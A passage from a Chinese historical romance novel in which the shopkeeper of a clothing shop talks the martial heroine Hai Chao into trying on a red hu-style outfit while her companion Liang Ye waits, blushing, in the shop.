说着折身挑帘,进了内室,不一会儿抱了一堆五颜六色的衣裳出来,总有四五身,铺展在长案上满满当当。 店主人拿起一身暗竹叶纹的素白袍子,并一个黑幞头:“小娘子将这一身穿上,活脱脱是个国子监的读书郎。” 梁夜受杜刺史举荐,去京城读的就是国子监,海潮一听这三个字就来气:“我大字不识一箩筐,可不敢装什么读书人。” 梁夜指着一身胡服问海潮:“这身可喜欢?” 这身胡服由朱红色的绫绢裁成,外罩对鹿纹朱锦半臂,看着亮眼又精神。 海潮喜欢红色,更喜欢利落凑身的衣裳,方才一眼便相中了,没人比梁夜更熟知她的喜好。 她不想承认,可又实在喜欢这件衣裳,犹豫不决之际,那店主人已经拿起衣裳在海潮身前比划起来,满口的称赞:“小郎君的眼光真是好,这身衣裳不是一般货色,这个月才从京都来的新料子……就裁了这么一件,简直像是给小娘子量身定做的。” 她生怕买卖会跑似的,不由分说推着海潮往内室去:“奴伺候小娘子换上试试,保管好看!” 海潮下意识要推辞,转念一想,她相中的衣裳,凭什么叫梁夜一指就不要了?便大大方方道:“好,我试试。” 进了内室,海潮也不用人帮忙,自己脱下道袍。 店主人道:“小娘子会武吧?” 海潮纳闷:“你怎么知道?” 店主人指着自己一双肉里眼:“小娘子别看奴眼睛小,见过的人可不少。奴还会相面,外头那位小郎君是神仙样的人物,他是读书人吧?一看就是考进士做大官的料,将来给小娘子挣个诰命……” 海潮连忙道:“他挣的诰命可和我没干系,而且我们是道士……” 店主人显然不信,吃吃地笑起来:“小娘子说什么就是什么吧。” 转而打量她身形:“小娘子这身条漂亮,一万个里面挑不出一个,腰又窄,腿又长,人瘦却不干,该有肉的地方毫不含糊,深闺里可养不出来……小娘子要不要试试襦裙,那么匀称好看的肩膀,披个轻纱帔子,不知多美。” 海潮叫她说得双颊滚烫,连道用不着,低头看了看,有些担心:“要装男子,这里要不要用什么裹一下?” 店主人道:“不打紧。那行里的人,眼睛可毒了,你就算裹成胡饼,他们也看得出你是女的。” “那怎么办?” 店主人哈哈一笑:“放心,去楼里看新鲜瞧热闹的女客不知有多少,穿上男装,也就看破不说破罢了,没的白遭一回罪。” 又用虎口卡了卡海潮腰际:“啧,这腰带长了,咱们去外头找根合适的。” 海潮搴帘走出去,便见梁夜站在店堂里,垂着眼帘,像是在仔细研究眼前的一端料子,那认真劲,仿佛要用目光把那端素绢拆成经线纬丝。 原本比素绢还白的脸颊,眼下红到了耳朵尖。